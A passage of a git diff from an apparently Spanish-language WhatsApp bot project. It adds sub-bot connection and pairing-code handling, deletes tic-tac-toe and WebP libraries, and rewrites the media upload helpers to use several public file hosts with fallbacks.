+sock.ev.on('connection.update', async ({ connection, lastDisconnect, isNewLogin, qr }) => {
+if (isNewLogin) sock.isInit = false
+
+if (connection === 'open') {
+sock.isInit = true
+sock.userId = cleanJid(sock.user?.id?.split("@")[0])
+const ownerName = sock.authState.creds.me?.name || "-";
+sock.uptime = Date.now();
+reintentos[sock.userId] = 0;
+if (globalThis.conns.find(c => c.userId === sock.userId)) return;
+globalThis.conns.push(sock);
+
+if (isCode && m?.chat && senderId.endsWith("@s.whatsapp.net")) {
+conn.sendMessage(m.chat, { text: `*Conectado exitosamente con WhatsApp ✅*\n\n*💻 Bot:* +${sock.userId}\n*👤 Dueño:* ${ownerName}\n\n*Nota: Con la nueva función de auto-reinicio (Beta)*, Si el bot principal se reinicia o se desactiva, los sub-bots se reiniciarán automáticamente, asegurando que sigan activos sin interrupciones.\n\n> *Unirte a nuestro canal para informarte de todas la Actualizaciónes/novedades sobre el bot*\n${info.nna2}` }, { quoted: m });
+delete commandFlags[senderId];
+}
+console.log(chalk.bold.cyanBright(`\n✅ SUB-BOT CONECTADO: ${sock.userId} `))
+}
+
+if (connection === 'close') {
+const botId = sock.userId || id;
+const reason = lastDisconnect?.error?.output?.statusCode || lastDisconnect?.reason || 0;
+const intentos = reintentos[botId] || 0;
+reintentos[botId] = intentos + 1;
+
+if ([401, 403].includes(reason)) {
+if (intentos < 5) {
+console.log(`${chalk.red(`[❌ SUB-BOT ${botId}] Conexión cerrada (código ${reason}) intento ${intentos}/5`)} → Reintentando...`);
+setTimeout(() => {
+startSubBot(m, conn, caption, isCode, phone, chatId, {});
+}, 3000);
+} else {
+console.log(chalk.red(`[💥 SUB-BOT ${botId}] Falló tras 5 intentos. Eliminando sesión.`));
+try {
+fs.rmSync(sessionFolder, { recursive: true, force: true });
+} catch (e) {
+console.error(`[⚠️] No se pudo eliminar la carpeta ${sessionFolder}:`, e);
+}
+delete reintentos[botId];
+}
+return;
+}
+
+if ([DisconnectReason.connectionClosed, DisconnectReason.connectionLost, DisconnectReason.timedOut, DisconnectReason.connectionReplaced].includes(reason)) {
+//console.log(chalk.gray(`[📶 SUB-BOT ${botId}] Desconectado (code ${reason}) → Reintentando...`));
+setTimeout(() => {
+startSubBot(m, conn, caption, isCode, phone, chatId, {});
+}, 3000);
+return;
+}
+
+setTimeout(() => {
+startSubBot(m, conn, caption, isCode, phone, chatId, {});
+}, 3000);
+}
+
+if (qr && !isCode && m && conn && commandFlags[senderId]) {
+try {
+const qrBuffer = await qrcode.toBuffer(qr, { scale: 8 });
+const msg = await conn.sendMessage(m.chat, { image: qrBuffer, caption: caption }, { quoted: m });
+delete commandFlags[senderId];
+setTimeout(() => conn.sendMessage(m.chat, { delete: msg.key }).catch(() => {}), 60000);
+} catch (err) {
+console.error("[QR Error]", err);
+}}
+
+if (qr && isCode && phone && conn && chatId && commandFlags[senderId]) {
+try {
+let codeGen = await sock.requestPairingCode(phone);
+codeGen = codeGen.match(/.{1,4}/g)?.join("-") || codeGen;
+const msg = await conn.sendMessage(chatId, { image: { url: 'https://files.catbox.moe/re5wkq.jpg' }, caption: caption }, { quoted: m });
+const msgCode = await conn.sendMessage(chatId, { text: codeGen }, { quoted: m });
+delete commandFlags[senderId];
+setTimeout(async () => {
+try {
+await conn.sendMessage(chatId, { delete: msg.key });
+await conn.sendMessage(chatId, { delete: msgCode.key });
+//delete commandFlags[senderId];
+} catch {}
+}, 60000);
+} catch (err) {
+console.error("[Código Error]", err);
+}}
+});
+
+process.on('uncaughtException', console.error);
+process.on('unhandledRejection', console.error);
+
+sock.ev.on("messages.upsert", async ({ messages, type }) => {
+if (type !== "notify") return;
+for (const msg of messages) {
+if (!msg.message) continue;
+const start = Math.floor(sock.uptime / 1000);
+if (msg.messageTimestamp < start || ((Date.now() / 1000) - msg.messageTimestamp) > 60) continue;
+if(msg.key.id.startsWith('NJX-') || msg.key.id.startsWith('Lyru-') || msg.key.id.startsWith('EvoGlobalBot-') || msg.key.id.startsWith('BAE5') && msg.key.id.length === 16 || msg.key.id.startsWith('3EB0') && msg.key.id.length === 12 || msg.key.id.startsWith('3EB0') || msg.key.id.startsWith('3E83') || msg.key.id.startsWith('3E38') && (msg.key.id.length === 20 || msg.key.id.length === 22) || msg.key.id.startsWith('B24E') || msg.key.id.startsWith('8SCO') && msg.key.id.length === 20 || msg.key.id.startsWith('FizzxyTheGreat-')) return
+try {
+//const { handler } = await import("./handler.js");
+await handler(sock, msg);
+} catch (err) {
+console.error(err);
+}}
+});
+
+sock.ev.on("call", async (calls) => {
+try {
+//const { callUpdate } = await import("./handler.js");
+for (const call of calls) {
+await callUpdate(sock, call);
+}} catch (err) {
+console.error(chalk.red("❌ Error procesando call.update:"), err);
+}
+});
+}
+
+function setupGroupEvents(sock) {
+sock.ev.on("group-participants.update", async (update) => {
+console.log(update)
+try {
+await participantsUpdate(sock, update);
+} catch (err) {
+console.error("[ ❌ ] SUB-BOT Error procesando group-participants.update:", err);
+}});
+
+sock.ev.on("groups.update", async (updates) => {
+console.log(updates)
+try {
+for (const update of updates) {
+await groupsUpdate(sock, update);
+}} catch (err) {
+console.error("[ ❌ ] SUB-BOT Error procesando groups.update:", err);
+}});
+}
\ No newline at end of file
diff --git a/lib/tictactoe.d.ts b/lib/tictactoe.d.ts
deleted file mode 100644
index 68531871b..000000000
--- a/lib/tictactoe.d.ts
+++ /dev/null
@@ -1,15 +0,0 @@
-export declare class TicTacToe {
- /* X PlayerName */
- playerX: string;
- /* Y PlayerName */
- playerY: string;
- /* X if true, Y if false */
- _currentTurn: boolean;
- _x: number;
- _y: number;
- _turns: number;
- constructor(playerX: string, playerY: string);
- get board(): number;
- turn(player, index: number): boolean;
- turn(player, x: number, y: number): boolean;
-}
diff --git a/lib/tictactoe.js b/lib/tictactoe.js
deleted file mode 100644
index dbcd9df1b..000000000
--- a/lib/tictactoe.js
+++ /dev/null
@@ -1,95 +0,0 @@
-class TicTacToe {
- constructor(playerX = 'x', playerO = 'o') {
- this.playerX = playerX;
- this.playerO = playerO;
- this._currentTurn = false;
- this._x = 0;
- this._o = 0;
- this.turns = 0;
- }
-
- get board() {
- return this._x | this._o;
- }
-
- get currentTurn() {
- return this._currentTurn ? this.playerO : this.playerX;
- }
-
- get enemyTurn() {
- return this._currentTurn ? this.playerX : this.playerO;
- }
-
- static check(state) {
- for (const combo of [7, 56, 73, 84, 146, 273, 292, 448]) {
- if ((state & combo) === combo) {
- return !0;
- }
- }
- return !1;
- }
-
- /**
- * ```js
- * TicTacToe.toBinary(1, 2) // 0b010000000
- * ```
- */
- static toBinary(x = 0, y = 0) {
- if (x < 0 || x > 2 || y < 0 || y > 2) throw new Error('invalid position');
- return 1 << x + (3 * y);
- }
-
- /**
- * @param player `0` is `X`, `1` is `O`
- *
- * - `-3` `Game Ended`
- * - `-2` `Invalid`
- * - `-1` `Invalid Position`
- * - ` 0` `Position Occupied`
- * - ` 1` `Sucess`
- * @return {-3|-2|-1|0|1}
- */
- turn(player = 0, x = 0, y) {
- if (this.board === 511) return -3;
- let pos = 0;
- if (y == null) {
- if (x < 0 || x > 8) return -1;
- pos = 1 << x;
- } else {
- if (x < 0 || x > 2 || y < 0 || y > 2) return -1;
- pos = TicTacToe.toBinary(x, y);
- }
- if (this._currentTurn ^ player) return -2;
- if (this.board & pos) return 0;
- this[this._currentTurn ? '_o' : '_x'] |= pos;
- this._currentTurn = !this._currentTurn;
- this.turns++;
- return 1;
- }
-
- /**
- * @return {('X'|'O'|1|2|3|4|5|6|7|8|9)[]}
- */
- static render(boardX = 0, boardO = 0) {
- const x = parseInt(boardX.toString(2), 4);
- const y = parseInt(boardO.toString(2), 4) * 2;
- return [...(x + y).toString(4).padStart(9, '0')].reverse().map((value, index) => value == 1 ? 'X' : value == 2 ? 'O' : ++index);
- }
-
- /**
- * @return {('X'|'O'|1|2|3|4|5|6|7|8|9)[]}
- */
- render() {
- return TicTacToe.render(this._x, this._o);
- }
-
- get winner() {
- const x = TicTacToe.check(this._x);
- const o = TicTacToe.check(this._o);
- return x ? this.playerX : o ? this.playerO : false;
- }
-}
-
-new TicTacToe().turn;
-
-export default TicTacToe;
diff --git a/lib/uploadFile.js b/lib/uploadFile.js
index 0b6d47b45..0960579cb 100644
--- a/lib/uploadFile.js
+++ b/lib/uploadFile.js
@@ -1,66 +1,172 @@
-import fetch from 'node-fetch';
-import {FormData, Blob} from 'formdata-node';
-import {fileTypeFromBuffer} from 'file-type';
+import fetch from 'node-fetch'
+import { FormData, Blob } from 'formdata-node'
+import { fileTypeFromBuffer } from 'file-type'
+
/**
* Upload epheremal file to file.io
* `Expired in 1 day`
* `100MB Max Filesize`
- * @param {Buffer} buffer File Buffer
*/
const fileIO = async (buffer) => {
- const {ext, mime} = await fileTypeFromBuffer(buffer) || {};
- const form = new FormData();
- const blob = new Blob([buffer.toArrayBuffer()], {type: mime});
- form.append('file', blob, 'tmp.' + ext);
- const res = await fetch('https://file.io/?expires=1d', { // 1 Day Expiry Date
+ const { ext, mime } = await fileTypeFromBuffer(buffer) || {}
+ const form = new FormData()
+ const blob = new Blob([buffer], { type: mime })
+ form.append('file', blob, 'tmp.' + ext)
+ const res = await fetch('https://file.io/?expires=1d', {
method: 'POST',
body: form,
- });
- const json = await res.json();
- if (!json.success) throw json;
- return json.link;
-};
+ })
+ const json = await res.json()
+ if (!json.success) throw json
+ return json.link
+}
/**
* Upload file to storage.restfulapi.my.id
- * @param {Buffer|ReadableStream|(Buffer|ReadableStream)[]} inp File Buffer/Stream or Array of them
- * @return {string|null|(string|null)[]}
*/
const RESTfulAPI = async (inp) => {
- const form = new FormData();
- let buffers = inp;
- if (!Array.isArray(inp)) buffers = [inp];
+ const form = new FormData()
+ let buffers = inp
+ if (!Array.isArray(inp)) buffers = [inp]
+ const mime = (await fileTypeFromBuffer(buffers[0]))?.mime || 'application/octet-stream'
for (const buffer of buffers) {
- const blob = new Blob([buffer.toArrayBuffer()]);
- form.append('file', blob);
+ const blob = new Blob([buffer], { type: mime })
+ form.append('file', blob)
}
const res = await fetch('https://storage.restfulapi.my.id/upload', {
method: 'POST',
body: form,
- });
- let json = await res.text();
+ })
+ let json = await res.text()
try {
- json = JSON.parse(json);
- if (!Array.isArray(inp)) return json.files[0].url;
- return json.files.map((res) => res.url);
+ json = JSON.parse(json)
+ if (!Array.isArray(inp)) return json.files[0].url
+ return json.files.map((res) => res.url)
} catch (e) {
- throw json;
+ throw json
}
-};
+}
+
+/*
+upload to qu.ax
+*/
+const quax = async (buffer) => {
+ const { ext, mime } = await fileTypeFromBuffer(buffer)
+ const form = new FormData()
+ const blob = new Blob([buffer], { type: mime })
+ form.append('files[]', blob, 'file.' + ext)
+ const res = await fetch('https://qu.ax/upload.php', {
+ method: 'POST',
+ body: form,
+ })
+ const json = await res.json()
+ if (!json?.success) throw '❌ Error al subir a qu.ax'
+ return json.files[0].url
+}
+
/**
- *
- * @param {Buffer} inp
- * @return {Promise}
+ * Upload to catbox.moe as fallback
*/
-export default async function(inp) {
- let err = false;
- for (const upload of [RESTfulAPI, fileIO]) {
+const catbox = async (buffer) => {
+ const { ext } = await fileTypeFromBuffer(buffer) || {}
+ const form = new FormData()
+ const blob = new Blob([buffer])
+ form.append('reqtype', 'fileupload')
+ form.append('fileToUpload', blob, 'file.' + ext)
+ const res = await fetch('https://catbox.moe/user/api.php', {
+ method: 'POST',
+ body: form,
+ })
+ const url = await res.text()
+ if (!url.startsWith('https://')) throw new Error('❌ Error al subir a catbox')
+ return url
+}
+
+/*
+upload uguu.se
+*/
+const uguu = async (buffer) => {
+ const { ext } = await fileTypeFromBuffer(buffer) || {}
+ const form = new FormData()
+ form.append('file', new Blob([buffer]), 'file.' + ext)
+ const res = await fetch('https://uguu.se/api.php?d=upload-tool', { method: 'POST', body: form })
+ const url = await res.text()
+ if (!url.startsWith('https://')) throw '❌ Error al subir a uguu'
+ return url
+}
+
+// Upload a filechan
+const filechan = async (buffer) => {
+ const { ext } = await fileTypeFromBuffer(buffer) || {}
+ const form = new FormData()
+ form.append('file', new Blob([buffer]), 'file.' + ext)
+ const res = await fetch('https://api.filechan.org/upload', { method: 'POST', body: form })
+ const json = await res.json()
+ if (!json?.success || !json?.files?.length) throw '❌ Error al subir a filechan'
+ return json.files[0].url
+}
+
+// Upload a pixeldrain
+const pixeldrain = async (buffer) => {
+ const form = new FormData()
+ form.append('file', new Blob([buffer]))
+ const res = await fetch('https://pixeldrain.com/api/file', { method: 'POST', body: form })
+ const json = await res.json()
+ if (!json?.success || !json?.id) throw '❌ Error al subir a pixeldrain'
+ return `https://pixeldrain.com/u/${json.id}`
+}
+
+// Upload a gofile
+const gofile = async (buffer) => {
+ const getServer = await fetch('https://api.gofile.io/getServer')
+ const { data } = await getServer.json()
+ const form = new FormData()
+ form.append('file', new Blob([buffer]))
+ const res = await fetch(`https://${data.server}.gofile.io/uploadFile`, { method: 'POST', body: form })
+ const json = await res.json()
+ if (!json?.status || json.status !== 'ok') throw '❌ Error al subir a Gofile'
+ return json.data.downloadPage
+}
+
+// Upload a krakenfiles
+const krakenfiles = async (buffer) => {
+ const { ext } = await fileTypeFromBuffer(buffer) || {}
+ const form = new FormData()
+ form.append('file', new Blob([buffer]), 'file.' + ext)
+ const res = await fetch('https://api.krakenfiles.com/v2/file/upload', { method: 'POST', body: form })
+ const json = await res.json()
+ if (!json?.success) throw '❌ Error al subir a KrakenFiles'
+ return json.data.url
+}
+
+// Upload a telegra.ph
+const telegraph = async (buffer) => {
+ const { ext } = await fileTypeFromBuffer(buffer) || {}
+ const form = new FormData()
+ form.append('file', new Blob([buffer]), 'file.' + ext)
+ const res = await fetch('https://telegra.ph/upload', { method: 'POST', body: form })
+ const json = await res.json()
+ if (!Array.isArray(json)) throw '❌ Error al subir a Telegraph'
+ return 'https://telegra.ph' + json[0].src
+}
+
+// Exports individuales
+export { quax, RESTfulAPI, catbox, uguu, filechan, pixeldrain, gofile, krakenfiles, telegraph }
+
+// Subida automática con respaldo
+export default async function (inp) {
+ const servicios = [quax, RESTfulAPI, catbox, uguu, filechan, pixeldrain, gofile, krakenfiles, telegraph]
+ let err = null
+ for (const upload of servicios) {
try {
- return await upload(inp);
+ const result = await upload(inp)
+ console.log(`[UPLOAD OK]`, result)
+ return result
} catch (e) {
- err = e;
+ console.log(`[UPLOAD FAIL]`, e)
+ err = e
}
}
- if (err) throw err;
+ if (err) throw err
}
diff --git a/lib/uploadImage.js b/lib/uploadImage.js
index 92365c893..9af91c547 100644
--- a/lib/uploadImage.js
+++ b/lib/uploadImage.js
@@ -1,27 +1,57 @@
-import fetch from 'node-fetch';
-import {FormData, Blob} from 'formdata-node';
-import {fileTypeFromBuffer} from 'file-type';
+import fetch from 'node-fetch'
+import { FormData, Blob } from 'formdata-node'
+import { fileTypeFromBuffer } from 'file-type'
/**
- * Upload image to telegra.ph
- * Supported mimetype:
+ * Upload file to qu.ax
+ * Supported mimetypes:
* - `image/jpeg`
* - `image/jpg`
- * - `image/png`s
- * @param {Buffer} buffer Image Buffer
+ * - `image/png`
+ * - `video/mp4`
+ * - `video/webm`
+ * - `audio/mpeg`
+ * - `audio/wav`
+ * @param {Buffer} buffer File Buffer
* @return {Promise}
*/
export default async (buffer) => {
- const {ext, mime} = await fileTypeFromBuffer(buffer);
- const form = new FormData();
- const blob = new Blob([buffer.toArrayBuffer()], {type: mime});
- form.append('file', blob, 'tmp.' + ext);
- const res = await fetch('https://telegra.ph/upload', {
- method: 'POST',
- body: form,
- });
- const img = await res.json();
- if (img.error) throw img.error;
- return 'https://telegra.ph' + img[0].src;
-};
+const { ext, mime } = await fileTypeFromBuffer(buffer)
+const form = new FormData()
+const blob = new Blob([buffer], {type: mime})
+form.append('files[]', blob, 'tmp.' + ext)
+const res = await fetch('https://qu.ax/upload.php', { method: 'POST', body: form })
+const result = await res.json()
+if (result && result.success) {
+return result.files[0].url
+} else {
+throw new Error('Failed to upload the file to qu.ax')
+}}
+/**
+ * Upload file to qu.ax
+ * Supported mimetypes:
+ * - `image/jpeg`
+ * - `image/jpg`
+ * - `image/png`
+ * - `video/mp4`
+ * - `video/webm`
+ * - `audio/mpeg`
+ * - `audio/wav`
+ * @param {Buffer} buffer File Buffer
+ * @return {Promise}
+ */
+
+/*export default async (buffer) => {
+const {ext, mime} = await fileTypeFromBuffer(buffer)
+const form = new FormData()
+const blob = new Blob([buffer.toArrayBuffer()], {type: mime})
+form.append('file', blob, 'tmp.' + ext)
+const res = await fetch('https://telegra.ph/upload', {
+method: 'POST',
+body: form,
+})
+const img = await res.json()
+if (img.error) throw img.error
+return 'https://telegra.ph' + img[0].src
+}*/
diff --git a/lib/webp.js b/lib/webp.js
deleted file mode 100644
index aa21efee4..000000000
--- a/lib/webp.js
+++ /dev/null
@@ -1,1497 +0,0 @@
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
- value: true,
-});
-exports.default = exports.constants = void 0;
-
-const _fs2 = _interopRequireDefault(require('fs'));
-
-const _util = require('util');
-
-const _path = require('path');
-
-function _interopRequireDefault(obj) {
- return obj && obj.__esModule ? obj : {default: obj};
-}
-
-function asyncGeneratorStep(gen, resolve, reject, _next, _throw, key, arg) {
- try {
- var info = gen[key](arg);
- var value = info.value;
- } catch (error) {
- reject(error);
- return;
- }
- if (info.done) {
- resolve(value);
- } else {
- Promise.resolve(value).then(_next, _throw);
- }
-}
-
-function _asyncToGenerator(fn) {
- return function() {
- const self = this;
- const args = arguments;
- return new Promise(function(resolve, reject) {
- const gen = fn.apply(self, args);
- function _next(value) {
- asyncGeneratorStep(gen, resolve, reject, _next, _throw, 'next', value);
- }
- function _throw(err) {
- asyncGeneratorStep(gen, resolve, reject, _next, _throw, 'throw', err);
- }
- _next(undefined);
- });
- };
-}
-
-function _defineProperty(obj, key, value) {
- if (key in obj) {
- Object.defineProperty(obj, key, {
- value: value,
- enumerable: true,
- configurable: true,
- writable: true,
- });
- } else {
- obj[key] = value;
- }
- return obj;
-}
-
-function _classPrivateMethodGet(receiver, privateSet, fn) {
- if (!privateSet.has(receiver)) {
- throw new TypeError('attempted to get private field on non-instance');
- }
- return fn;
-}
-
-const fs = {
- read: (0, _util.promisify)(_fs2.default.read),
- write: (0, _util.promisify)(_fs2.default.write),
- open: (0, _util.promisify)(_fs2.default.open),
- close: (0, _util.promisify)(_fs2.default.close),
-};
-const nullByte = Buffer.alloc(1);
-nullByte[0] = 0;
-const constants = {
- TYPE_LOSSY: 0,
- TYPE_LOSSLESS: 1,
- TYPE_EXTENDED: 2,
-};
-exports.constants = constants;
-
-function VP8Width(data) {
- const n = (data[7] << 8) | data[6];
- return n & 0b0011111111111111;
-}
-
-function VP8Height(data) {
- const n = (data[9] << 8) | data[8];
- return n & 0b0011111111111111;
-}
-
-function VP8LWidth(data) {
- const n = (data[2] << 8) | data[1];
- return (n & 0b0011111111111111) + 1;
-}
-
-function VP8LHeight(data) {
- let n = (data[4] << 16) | (data[3] << 8) | data[2];
- n = n >> 6;
- return (n & 0b0011111111111111) + 1;
-}
-
-function doesVP8LHaveAlpha(data) {
- return !!(data[4] & 0b00010000);
-}
-
-function createBasicChunk(name, data) {
- const chunk = Buffer.alloc(8);
- const size = data.length;
- let out;
- chunk.write(name, 0);
- chunk.writeUInt32LE(size, 4);
- out = [chunk, data];
-
- if (size & 1) {
- out[2] = nullByte;
- }
-
- return out;
-}
-
-const _convertToExtended = new WeakSet();
-
-const _demuxFrame = new WeakSet();
-
-const _readHeader = new WeakSet();
-
-const _readChunkHeader = new WeakSet();
-
-const _readChunkHeader_buf = new WeakSet();
-
-const _readChunk_raw = new WeakSet();
-
-const _readChunk_VP = new WeakSet();
-
-const _readChunk_VP8_buf = new WeakSet();
-
-const _readChunk_VP8L = new WeakSet();
-
-const _readChunk_VP8L_buf = new WeakSet();
-
-const _readChunk_VP8X = new WeakSet();
-
-const _readChunk_ANIM = new WeakSet();
-
-const _readChunk_ANMF = new WeakSet();
-
-const _readChunk_ALPH = new WeakSet();
-
-const _readChunk_ALPH_buf = new WeakSet();
-
-const _readChunk_ICCP = new WeakSet();
-
-const _readChunk_EXIF = new WeakSet();
-
-const _readChunk_XMP = new WeakSet();
-
-const _readChunk_Skip = new WeakSet();
-
-const _read = new WeakSet();
-
-class Image {
- constructor() {
- _read.add(this);
-
- _readChunk_Skip.add(this);
-
- _readChunk_XMP.add(this);
-
- _readChunk_EXIF.add(this);
-
- _readChunk_ICCP.add(this);
-
- _readChunk_ALPH_buf.add(this);
-
- _readChunk_ALPH.add(this);
-
- _readChunk_ANMF.add(this);
-
- _readChunk_ANIM.add(this);
-
- _readChunk_VP8X.add(this);
-
- _readChunk_VP8L_buf.add(this);
-
- _readChunk_VP8L.add(this);
-
- _readChunk_VP8_buf.add(this);
-
- _readChunk_VP.add(this);
-
- _readChunk_raw.add(this);
-
- _readChunkHeader_buf.add(this);
-
- _readChunkHeader.add(this);
-
- _readHeader.add(this);
-
- _demuxFrame.add(this);
-
- _convertToExtended.add(this);
-
- _defineProperty(this, 'data', null);
-
- _defineProperty(this, 'loaded', false);
-
- _defineProperty(this, 'path', '');
- }
-
- clear() {
- this.data = null;
- this.path = '';
- this.loaded = false;
- }
-
- get width() {
- if (!this.loaded) {
- return undefined;
- }
-
- const d = this.data;
- return d.extended ?
- d.extended.width :
- d.vp8l ?
- d.vp8l.width :
- d.vp8 ?
- d.vp8.width :
- undefined;
- }
-
- get height() {
- if (!this.loaded) {
- return undefined;
- }
-
- const d = this.data;
- return d.extended ?
- d.extended.height :
- d.vp8l ?
- d.vp8l.height :
- d.vp8 ?
- d.vp8.height :
- undefined;
- }
-
- get type() {
- return this.loaded ? this.data.type : undefined;
- }
-
- get hasAnim() {
- return this.loaded ?
- this.data.extended ?
- this.data.extended.hasAnim :
- false :
- false;
- }
-
- get anim() {
- return this.hasAnim ? this.data.anim : undefined;
- }
-
- get frameCount() {
- return this.anim ? this.anim.frameCount : 0;
- }
-
- get iccp() {
- return this.data.extended ?
- this.data.extended.hasICCP ?
- this.data.iccp.raw :
- undefined :
- undefined;
- }
-
- set iccp(raw) {
- if (!this.data.extended) {
- _classPrivateMethodGet(
- this,
- _convertToExtended,
- _convertToExtended2,
- ).call(this);
- }
-
- if (raw === undefined) {
- this.data.extended.hasICCP = false;
- delete this.data.iccp;
- } else {
- this.data.iccp = {
- raw,
- };
- this.data.extended.hasICCP = true;
- }
- }
-
- get exif() {
- return this.data.extended ?
- this.data.extended.hasEXIF ?
- this.data.exif.raw :
- undefined :
- undefined;
- }
-
- set exif(raw) {
- if (!this.data.extended) {
- _classPrivateMethodGet(
- this,
- _convertToExtended,
- _convertToExtended2,
- ).call(this);
- }
-
- if (raw === undefined) {
- this.data.extended.hasEXIF = false;
- delete this.data.exif;
- } else {
- this.data.exif = {
- raw,
- };
- this.data.extended.hasEXIF = true;
- }
- }
-
- get xmp() {
- return this.data.extended ?
- this.data.extended.hasXMP ?
- this.data.xmp.raw :
- undefined :
- undefined;
- }
-
- set xmp(raw) {
- if (!this.data.extended) {
- _classPrivateMethodGet(
- this,
- _convertToExtended,
- _convertToExtended2,
- ).call(this);
- }
-
- if (raw === undefined) {
- this.data.extended.hasXMP = false;
- delete this.data.xmp;
- } else {
- this.data.xmp = {
- raw,
- };
- this.data.extended.hasXMP = true;
- }
- }
-
- load(path) {
- const _this = this;
-
- return _asyncToGenerator(function* () {
- _this.path = path;
- _this.data = yield _classPrivateMethodGet(_this, _read, _read2).call(
- _this,
- path,
- );
- _this.loaded = true;
- })();
- }
-
- demuxAnim(path, frame = -1, prefix = '#FNAME#') {
- const _this2 = this;
-
- return _asyncToGenerator(function* () {
- let start = 0;
- let end = _this2.frameCount;
-
- if (end == 0) {
- throw new Error('This WebP isn\'t an animation');
- }
-
- if (frame != -1) {
- start = end = frame;
- }
-
- for (let i = start; i <= end; i++) {
- yield _classPrivateMethodGet(_this2, _demuxFrame, _demuxFrame2).call(
- _this2,
- `${path}/${prefix}_${i}.webp`.replace(
- /#FNAME#/g,
- (0, _path.basename)(_this2.path, '.webp'),
- ),
- _this2.anim.frames[i],
- );
- }
- })();
- }
-
- replaceFrame(path, frame) {
- const _this3 = this;
-
- return _asyncToGenerator(function* () {
- if (!_this3.hasAnim) {
- throw new Error('WebP isn\'t animated');
- }
-
- if (frame < 0 || frame >= _this3.frameCount) {
- throw new Error(
- `Frame index ${frame} out of bounds (0<=index<${_this3.frameCount})`,
- );
- }
-
- const r = new Image();
- yield r.load(path);
-
- switch (r.type) {
- case constants.TYPE_LOSSY:
- case constants.TYPE_LOSSLESS:
- break;
-
- case constants.TYPE_EXTENDED:
- if (r.hasAnim) {
- throw new Error('Merging animations not currently supported');
- }
-
- break;
-
- default:
- throw new Error('Unknown WebP type');
- }
-
- switch (_this3.anim.frames[frame].type) {
- case constants.TYPE_LOSSY:
- if (_this3.anim.frames[frame].vp8.alpha) {
- delete _this3.anim.frames[frame].alph;
- }
-
- delete _this3.anim.frames[frame].vp8;
- break;
-
- case constants.TYPE_LOSSLESS:
- delete _this3.anim.frames[frame].vp8l;
- break;
-
- default:
- throw new Error('Unknown frame type');
- }
-
- switch (r.type) {
- case constants.TYPE_LOSSY:
- _this3.anim.frames[frame].vp8 = r.data.vp8;
- break;
-
- case constants.TYPE_LOSSLESS:
- _this3.anim.frames[frame].vp8l = r.data.vp8l;
- break;
-
- case constants.TYPE_EXTENDED:
- if (r.data.vp8) {
- _this3.anim.frames[frame].vp8 = r.data.vp8;
-
- if (r.data.vp8.alpha) {
- _this3.anim.frames[frame].alph = r.data.alph;
- }
- } else if (r.data.vp8l) {
- _this3.anim.frames[frame].vp8l = r.data.vp8l;
- }
-
- break;
- }
-
- _this3.anim.frames[frame].width = r.width;
- _this3.anim.frames[frame].height = r.height;
- })();
- }
-
- muxAnim({path, bgColor = [255, 255, 255, 255], loops = 0} = {}) {
- const _this4 = this;
-
- return _asyncToGenerator(function* () {
- return Image.muxAnim({
- path,
- bgColor,
- loops,
- frames: _this4.frames,
- });
- })();
- }
-
- static muxAnim({
- path,
- frames,
- width = 0,
- height = 0,
- bgColor = [255, 255, 255, 255],
- loops = 0,
- delay = 100,
- x = 0,
- y = 0,
- blend = true,
- dispose = false,
- } = {}) {
- return _asyncToGenerator(function* () {
- const header = Buffer.alloc(12);
- let chunk = Buffer.alloc(18);
- const out = [];
- let img;
- let alpha = false;
- let size;
- let _w = 0;
- let _h = 0;
-
- const _width = width - 1;
- const _height = height - 1;
-
- if (frames.length == 0) {
- throw new Error('No frames to mux');
- } else if (_width <= 0 || _width > 1 << 24) {
- throw new Error('Width out of range');
- } else if (_height <= 0 || _height > 1 << 24) {
- throw new Error('Height out of range');
- } else if (_height * _width > Math.pow(2, 32) - 1) {
- throw new Error(`Width*height too large (${_width}, ${_height})`);
- } else if (loops < 0 || loops >= 1 << 24) {
- throw new Error('Loops out of range');
- } else if (delay < 0 || delay >= 1 << 24) {
- throw new Error('Delay out of range');
- } else if (x < 0 || x >= 1 << 24) {
- throw new Error('X out of range');
- } else if (y < 0 || y >= 1 << 24) {
- throw new Error('Y out of range');
- }
-
- header.write('RIFF', 0);
- header.write('WEBP', 8);
- chunk.write('VP8X', 0);
- chunk.writeUInt32LE(10, 4);
- chunk[8] |= 0b00000010;
-
- if (width != 0) {
- chunk.writeUIntLE(_width, 12, 3);
- }
-
- if (height != 0) {
- chunk.writeUIntLE(_height, 15, 3);
- }
-
- out.push(header, chunk);
- chunk = Buffer.alloc(14);
- chunk.write('ANIM', 0);
- chunk.writeUInt32LE(6, 4);
- chunk.writeUInt8(bgColor[2], 8);
- chunk.writeUInt8(bgColor[1], 9);
- chunk.writeUInt8(bgColor[0], 10);
- chunk.writeUInt8(bgColor[3], 11);
- chunk.writeUInt16LE(loops, 12);
- out.push(chunk);
-
- for (let i = 0, l = frames.length; i < l; i++) {
- const _delay =
- typeof frames[i].delay === 'undefined' ? delay : frames[i].delay;
- const _x = typeof frames[i].x === 'undefined' ? x : frames[i].x;
- const _y = typeof frames[i].y === 'undefined' ? y : frames[i].y;
- const _blend =
- typeof frames[i].blend === 'undefined' ? blend : frames[i].blend;
- const _dispose =
- typeof frames[i].dispose === 'undefined' ?
- dispose :
- frames[i].dispose;
- let size = 16;
- let keepChunk = true;
- let imgData;
-
- if (delay < 0 || delay >= 1 << 24) {
- throw new Error(`Delay out of range on frame ${i}`);
- } else if (x < 0 || x >= 1 << 24) {
- throw new Error(`X out of range on frame ${i}`);
- } else if (y < 0 || y >= 1 << 24) {
- throw new Error(`Y out of range on frame ${i}`);
- }
-
- chunk = Buffer.alloc(24);
- chunk.write('ANMF', 0);
- chunk.writeUIntLE(_x, 8, 3);
- chunk.writeUIntLE(_y, 11, 3);
- chunk.writeUIntLE(_delay, 20, 3);
-
- if (!_blend) {
- chunk[23] |= 0b00000010;
- }
-
- if (_dispose) {
- chunk[23] |= 0b00000001;
- }
-
- if (frames[i].path) {
- img = new Image();
- yield img.load(frames[i].path);
- } else {
- img = {
- data: frames[i],
- };
- }
-
- chunk.writeUIntLE(img.data.width - 1, 14, 3);
- chunk.writeUIntLE(img.data.height - 1, 17, 3);
-
- switch (img.data.type) {
- case constants.TYPE_LOSSY:
- {
- const c = img.data.vp8;
- _w = c.width > _w ? c.width : _w;
- _h = c.height > _h ? c.height : _h;
- size += c.raw.length + 8;
- imgData = createBasicChunk('VP8 ', c.raw);
- }
- break;
-
- case constants.TYPE_LOSSLESS:
- {
- const c = img.data.vp8l;
- _w = c.width > _w ? c.width : _w;
- _h = c.height > _h ? c.height : _h;
- size += c.raw.length + 8;
-
- if (c.alpha) {
- alpha = true;
- }
-
- imgData = createBasicChunk('VP8L', c.raw);
- }
- break;
-
- case constants.TYPE_EXTENDED:
